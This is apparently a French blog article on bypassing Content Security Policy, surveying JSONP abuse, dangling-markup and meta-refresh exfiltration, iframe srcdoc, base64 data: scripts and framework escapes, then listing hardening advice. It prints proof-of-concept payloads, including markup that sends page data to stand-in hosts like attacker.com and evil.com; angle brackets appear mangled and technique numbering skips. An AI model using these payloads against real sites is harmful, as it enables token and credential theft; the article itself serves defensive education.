Contournement CSP : 1 000 façons de casser la politique de sécurité du contenu

Découvrez les techniques sophistiquées utilisées par les attaquants pour contourner même les configurations CSP les plus strictes — des points de terminaison JSONP à l’injection de balises suspendues. Pourquoi votre CSP pourrait n’être qu’un théâtre de sécurité.

Introduction : La fausse impression de sécurité

La Content Security Policy (CSP) est devenue la norme pour protéger les applications web contre les attaques de type Cross-Site Scripting (XSS) et autres injections de contenu. La CSP est un mécanisme permettant de définir quelles ressources peuvent être récupérées ou exécutées par une page web, via des en-têtes de réponse ou des éléments meta dans la page HTML. Les organisations la déploient en toute confiance, croyant avoir érigé une forteresse imprenable autour de leurs applications.

Mais voici la vérité inconfortable : une politique CSP mal configurée peut être contournée, laissant l’application vulnérable. Dans de nombreux cas, la CSP fonctionne plus comme un théâtre de sécurité qu’une véritable protection — donnant aux développeurs une fausse impression de sécurité pendant que les attaquants exploitent des erreurs de configuration fondamentales et des particularités des navigateurs pour compromettre les applications.

Cet article explore l’arsenal sophistiqué de techniques utilisées par les attaquants pour contourner la CSP, révélant pourquoi même les politiques les plus soigneusement élaborées pourraient ne pas vous protéger aussi bien que vous le pensez.

Comprendre la Content Security Policy

Avant d’aborder les techniques de contournement, il est crucial de comprendre ce qu’est la CSP et comment elle est censée fonctionner.

La Content Security Policy est une norme W3C qui permet aux développeurs de contrôler le chargement des ressources et l’exécution de certains types de scripts dans une application web. Elle agit comme une couche supplémentaire de défense contre les attaques d’injection de contenu, notamment XSS.

La CSP fonctionne en définissant des directives qui précisent quelles ressources les navigateurs sont autorisés à charger et exécuter. Parmi les directives courantes :

script-src : contrôle les sources JavaScript autorisées
default-src : directive de secours pour d’autres types de ressources
img-src : sources valides pour les images
style-src : contrôle les sources de feuilles de style
connect-src : limite les URLs pouvant être chargées via des interfaces de script
frame-ancestors : sources valides pour l’intégration via iframes

Cependant, la CSP ne représente pas votre première ligne de défense mais votre défense en profondeur. Elle est conçue pour attraper les attaques qui échappent à la validation d’entrée et au codage de sortie, et non pour les remplacer entièrement.

Les idées fausses les plus dangereuses

L’un des plus grands problèmes liés au déploiement de la CSP est l’écart entre la théorie et la pratique. Beaucoup de développeurs mettent en œuvre la CSP sans en comprendre pleinement les limites, ce qui conduit à des vulnérabilités critiques.

Le piège ‘unsafe-inline’

L’utilisation de la valeur unsafe-inline dans la directive script-src rend la politique vulnérable et permet l’exécution de scripts en ligne. Cette erreur de configuration annule complètement la protection XSS de la CSP, car les attaquants peuvent injecter directement des balises script en ligne.

Domaines génériques : une bombe à retardement

Utiliser des jokers dans les politiques CSP peut sembler pratique, mais cela ouvre de graves failles de sécurité. En autorisant tout un domaine, vous faites confiance à chaque point de terminaison de ce domaine — y compris ceux qui pourraient être vulnérables ou conçus pour renvoyer du code exécutable.

Technique 1 : Exploitation des points de terminaison JSONP

Une des méthodes de contournement CSP les plus fiables consiste à exploiter les points de terminaison JSONP (JSON avec padding) sur des domaines autorisés.

Cette technique de contournement de la CSP repose sur l’exploitation des points de terminaison JSONP présents dans les domaines autorisés. Ces points de terminaison permettent de contourner la politique de même origine et de charger des données d’autres origines, tout en injectant du JavaScript dans la réponse sous forme de JSON.

Comment fonctionnent les contournements JSONP

JSONP exploite une balise script pour charger des données d’un domaine différent, puis enveloppe ces données dans un appel de fonction. Étant encapsulées dans une balise script, ces données peuvent contourner de nombreuses politiques CSP.

Considérez une politique CSP qui autorise accounts.google.com :

Content-Security-Policy: script-src 'self' accounts.google.com

Un attaquant peut exploiter cela avec :

3cscript src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"3e3c/script3e

La réponse renvoyée contient du JavaScript exécutable, permettant d’exécuter la fonction alert(1) via un script chargé depuis ce point de terminaison.

Il existe plusieurs points de terminaison CSP prêts à l’emploi dans JSONBee, rendant cette technique accessible même à des attaquants moins sophistiqués.

Impact dans le monde réel

Des plateformes majeures comme Google, Facebook, et d’innombrables CDN disposent de points de terminaison JSONP qui peuvent être exploités contre des sites qui whitelistent ces domaines. Il ne s’agit pas d’une vulnérabilité théorique — elle est activement exploitée dans la nature.

Technique 2 : Injection de balises suspendues

Lorsque le XSS complet n’est pas possible en raison des restrictions CSP, les attaquants se tournent vers l’injection de balises suspendues — une technique furtive pour exfiltrer des données sensibles sans exécuter de JavaScript.

L’injection de balises suspendues est une technique pour capturer des données cross-domain dans des situations où une attaque complète de type cross-site scripting n’est pas possible.

La mécanique de l’injection suspendue

L’idée est d’injecter du HTML partiel dans un état inachevé, comme un attribut src d’une balise image, et le reste du code sur la page ferme l’attribut tout en envoyant les données intermédiaires vers un serveur distant.

Considérez ce scénario d’injection :

INJECTION ICI
3c/b3etest3c/b3e
3c/script3e
  token = 'supersecret';
3c/script3e
3c/form action="blah" 3e3c/form3e

Un attaquant injecte :

3cimg src='https://attacker.com/exfil?data=

Le code généré capture tout jusqu’à la prochaine quote :

3cimg src='https://attacker.com/exfil?data=
3c/b3etest3c/b3e
3c/script3e
  token = 'supersecret';
3c/script3e
3c/form action="blah" 3e

Contourner la CSP avec la manipulation de la balise base

En utilisant l’attribut target sur la balise base, nous pouvons changer le nom de la fenêtre de chaque lien sur la page. En injectant un attribut target incomplet, le nom de la fenêtre sera défini avec tout le code après l’injection jusqu’à la quote correspondante sur chaque lien, permettant ainsi de voler des tokens.

Cette technique fonctionne même contre des politiques CSP restrictives car elle ne nécessite pas de charger des ressources externes ni d’exécuter des scripts — elle manipule simplement la structure HTML.

Injection avancée via iframe et srcdoc

L’attribut srcdoc des iframes offre un autre vecteur de contournement puissant que beaucoup de politiques CSP négligent.

La politique CSP ci-dessus peut être contournée en utilisant des iframes. La condition est que l’application autorise les iframes depuis le domaine whitelisté. En utilisant l’attribut spécial srcdoc de l’iframe, le XSS peut être facilement réalisé.

Considérez une politique comme :

Content-Security-Policy: default-src 'self' data: *; 
script-src 'self' https://trusted-cdn.com

Un attaquant peut injecter :

3ciframe srcdoc="3cscript src='https://trusted-cdn.com/vulnerable-endpoint.js'3e3c/script3e"3c/iframe3e

L’iframe hérite de la CSP parent mais peut charger du contenu qui contourne les restrictions via l’attribut srcdoc.

Technique 5 : URIs data en Base64

Lorsque la CSP autorise les URIs data: dans les sources de script, les attaquants peuvent encoder des scripts malveillants directement dans un format conforme à la politique.

La présence de data: dans la CSP permet l’inclusion de scripts encodés en Base64, qui seront interprétés directement par le navigateur.

Exemple d’exploitation :

3cscript src="data:;base64,YWxlcnQoMSk="3c/script3e

Cette technique fonctionne car le navigateur décode et exécute le JavaScript encodé en Base64, contournant ainsi les restrictions sur les ressources externes.

Technique 6 : Contournements spécifiques à AngularJS et frameworks

Les anciens frameworks JavaScript offrent leurs propres opportunités de contournement.

La politique CSP peut être contournée si l’application AngularJS charge des scripts depuis un domaine whitelisté.

Les versions d’AngularJS avant 1.6 sont particulièrement vulnérables en raison de faiblesses dans leur sandbox. Les attaquants peuvent créer des payloads qui échappent au sandbox et exécutent du code arbitraire dans ces frameworks obsolètes.

Le problème de dépendance au framework

Les applications web modernes dépendent souvent de nombreuses bibliothèques et frameworks JavaScript. Chaque dépendance peut introduire des vecteurs de contournement, surtout lorsqu’elles sont chargées depuis des CDN vulnérables.

Technique 7 : Hameçonnage de formulaires

Le hameçonnage de formulaires ne concerne pas l’exécution traditionnelle de scripts mais exploite plutôt des vulnérabilités d’injection HTML pour rediriger les soumissions de formulaires.

Lorsque la CSP ne comprend pas la directive form-action ou autorise les soumissions vers des domaines externes, les attaquants peuvent :

Injecter un faux formulaire imitant une interface de connexion légitime
Diriger les soumissions vers des serveurs contrôlés par l’attaquant
Voler identifiants et données sensibles sans exécuter de JavaScript

Cette technique est particulièrement insidieuse car elle fonctionne même avec les politiques script-src les plus strictes.

Technique 8 : Traversée de chemin dans les politiques CSP

Une vulnérabilité subtile mais critique provient de la façon dont les navigateurs et les serveurs interprètent les chemins différemment.

Lorsque vous utilisez le / pour encoder ‘/’ dans votre politique CSP et que vous le pointez vers un dossier, cela sera toujours considéré comme faisant partie du dossier. Lors du décodage par le serveur, cela peut être contourné en utilisant “../”, contournant ainsi la restriction du dossier.

Par exemple, une politique limitant les scripts à /company/ peut être contournée avec :

https://example.com/company/../attacker/malicious.js

Technique 9 : Exploitation des balises Object et Embed

Bien que les balises script reçoivent la majorité de l’attention, les balises object et embed peuvent également exécuter du code.

3cobject data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="3e3c/object3e

Les contournements basés sur Flash utilisant ces balises peuvent aussi contourner la CSP lorsque des fichiers Flash legacy sont autorisés ou lorsque le src de l’objet n’est pas correctement restreint.

Technique 10 : Attaques par rafraîchissement de la balise Meta

Les balises meta offrent une autre voie pour l’exfiltration de données et la redirection :

3cmeta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data="3e

Cela injecte une redirection pouvant capturer le contenu de la page suivante, utile pour voler des tokens et des informations sensibles.

Pourquoi votre CSP pourrait n’être qu’un théâtre de sécurité

La dure réalité est que de nombreuses implémentations CSP offrent peu de bénéfice réel en matière de sécurité. Voici pourquoi :

La complexité engendre des erreurs

La configuration CSP est notoirement complexe. Des configurations CSP peuvent être très compliquées, laissant des lacunes dans la couverture lorsqu’on utilise des applications web anciennes ou volumineuses.

Une seule erreur de configuration — comme inclure ‘unsafe-inline’ ou whitelister le mauvais domaine — peut annuler complètement la protection.

Le problème de la liste blanche

Chaque domaine en liste blanche est une potentielle voie d’attaque. À mesure que les applications s’intègrent à plus de services tiers, la liste blanche s’étend, augmentant exponentiellement la surface d’attaque.

Incohérences entre navigateurs

Différents navigateurs interprètent et appliquent la CSP de manière différente, créant une protection incohérente selon la plateforme. Les attaquants exploitent ces incohérences pour créer des contournements spécifiques à certains navigateurs.

Contraintes du code legacy

Même lorsque les vérifications sont contournées, la CSP bloque l’exécution de scripts depuis une source non prévue, neutralisant en grande partie l’attaque — mais seulement si elle est bien configurée. Les applications legacy ont souvent du mal à adopter des politiques CSP strictes sans casser la fonctionnalité.

Tester votre CSP pour détecter les vulnérabilités

Plusieurs outils peuvent aider à identifier les faiblesses de votre implémentation CSP :

https://csp-evaluator.withgoogle.com/ 2. https://cspvalidator.org/

Ces évaluateurs analysent votre politique et détectent des erreurs courantes, mais ils ne peuvent pas repérer toutes les vulnérabilités — notamment celles spécifiques à votre application.

Approches de test manuel

Un test CSP efficace nécessite :

D’identifier toutes les domaines en liste blanche
De rechercher des points de terminaison JSONP sur ces domaines
De tester les vulnérabilités d’injection HTML
D’essayer diverses techniques de contournement de manière systématique
D’analyser la gestion des cas limites par l’application

Bonnes pratiques pour renforcer la CSP

Bien qu’aucune CSP ne soit totalement invulnérable, certaines pratiques améliorent considérablement la sécurité :

Utiliser des Nonces ou des Hashs, pas des listes blanches

Évitez de whitelister entièrement des domaines. Utilisez plutôt une CSP basée sur nonce ou hash :

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

Générez un nonce unique pour chaque chargement de page et ne permettez l’exécution que des scripts avec ce nonce.

Éliminer ‘unsafe-inline’ et ‘unsafe-eval’

Ces directives ne doivent jamais apparaître dans une politique CSP en production. Elles détruisent totalement la protection contre le XSS.

Restreindre toutes les directives

Ne vous concentrez pas uniquement sur script-src. Configurez :

object-src ‘none’ : pour empêcher l’exploitation via object et embed
base-uri ‘none’ : pour empêcher la manipulation de la balise base
form-action ‘self’ : pour limiter les soumissions de formulaire
frame-ancestors ‘none’ : pour prévenir le clickjacking

Mettre en œuvre le mode Report-Only avec précaution

Content-Security-Policy-Report-Only : utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour tester en pré-production.

Utilisez le mode report-only pour tester vos politiques avant leur application, mais ne le laissez jamais activé en production.

Audits réguliers de sécurité

La CSP n’est pas une solution à mettre en place et oublier. Des audits réguliers doivent :

Examiner toutes les domaines en liste blanche pour JSONP
Tester de nouvelles techniques de contournement
Mettre à jour les politiques à mesure de l’évolution de l’application
Supprimer les domaines inutilisés

En-têtes Cache-Control

Les professionnels de la sécurité doivent désormais prendre en compte le comportement du cache lors de la mise en œuvre de protections CSP, en ajoutant éventuellement des en-têtes de contrôle de cache.

Des en-têtes de cache appropriés empêchent les attaques de fuite de nonce via le cache.

Approche de défense en profondeur

La CSP constitue une couche supplémentaire contre les injections de contenu. La première ligne de défense reste toujours l’encodage de sortie et la validation d’entrée.

Ne vous fiez jamais uniquement à la CSP. Une stratégie de sécurité globale inclut :

Validation d’entrée : rejeter les entrées malveillantes avant qu’elles n’atteignent votre application
Encodage de sortie : encoder correctement tout contenu généré par l’utilisateur
CSP : attraper les attaques qui échappent aux autres défenses
WAF (Web Application Firewall) : bloquer les modèles d’attaque connus
En-têtes de sécurité : ajouter des en-têtes comme X-Content-Type-Options et X-Frame-Options
Mises à jour régulières : maintenir à jour frameworks et bibliothèques

Études de cas réelles

L’incident JSONP de Google

De nombreuses applications whitelistant les domaines Google ont été victimes d’exploitation des points de terminaison JSONP. La endpoint oauth2/revoke est devenue une cible privilégiée pour contourner la CSP.

La faille de sandbox AngularJS

Plusieurs vulnérabilités graves dans AngularJS 1.x ont permis des évasions complètes du sandbox, compromettant des applications qui s’appuyaient sur la CSP pour leur protection.

Fuites de données sur des plateformes e-commerce

Plusieurs grandes plateformes e-commerce ont subi des fuites de données lorsque des attaquants ont utilisé le hameçonnage de formulaires pour voler les identifiants clients, malgré des politiques CSP apparemment strictes.

Menaces émergentes et préoccupations futures

À mesure que la sécurité web évolue, de nouvelles techniques de contournement apparaissent. Parmi les préoccupations émergentes :

Confusion autour de l’API Trusted Types

Alors que Trusted Types promet une meilleure protection contre le XSS, des erreurs d’implémentation peuvent créer de nouvelles opportunités de contournement.

Exploitation de WebAssembly

Avec la généralisation de WebAssembly, de nouveaux vecteurs d’attaque émergeront, que les implémentations CSP actuelles pourraient ne pas couvrir adéquatement.

Attaques par Service Worker

Les service workers fonctionnent en dehors des contraintes CSP traditionnelles, offrant potentiellement de nouvelles voies d’exploitation.

Conclusion : Aller au-delà du théâtre de sécurité

La Content Security Policy reste un mécanisme important, mais ce n’est pas la solution miracle que beaucoup pensent. La multitude de techniques de contournement — exploitation JSONP, injection de balises suspendues, manipulation du cache, attaques spécifiques aux frameworks — montre que la CSP seule ne peut pas sécuriser les applications web modernes.

L’avenir passe par :

Des attentes réalistes : comprendre les limites de la CSP
Une défense en profondeur : superposer plusieurs contrôles de sécurité
Une vigilance continue : auditer et mettre à jour régulièrement
Une sécurité dès la conception : intégrer la sécurité dès la phase de développement

Votre CSP peut paraître impressionnante lors des audits de sécurité, mais si elle comporte des erreurs de configuration ou des patterns vulnérables évoqués ici, elle ne sera qu’un théâtre de sécurité. Les attaquants connaissent ces techniques — il est temps que les défenseurs en prennent conscience.

La question n’est pas de savoir si votre CSP peut être contournée — mais combien de temps il faudra à un attaquant pour trouver la bonne technique. En comprenant ces méthodes de contournement et en déployant des défenses robustes, vous pouvez considérablement augmenter la barrière et protéger vos applications contre la prochaine génération d’attaques sophistiquées.

Souvenez-vous : la CSP n’est qu’une couche de votre stratégie de sécurité, pas la totalité. Déployez-la correctement, testez-la en profondeur, et ne supposez jamais qu’elle rend votre application invulnérable.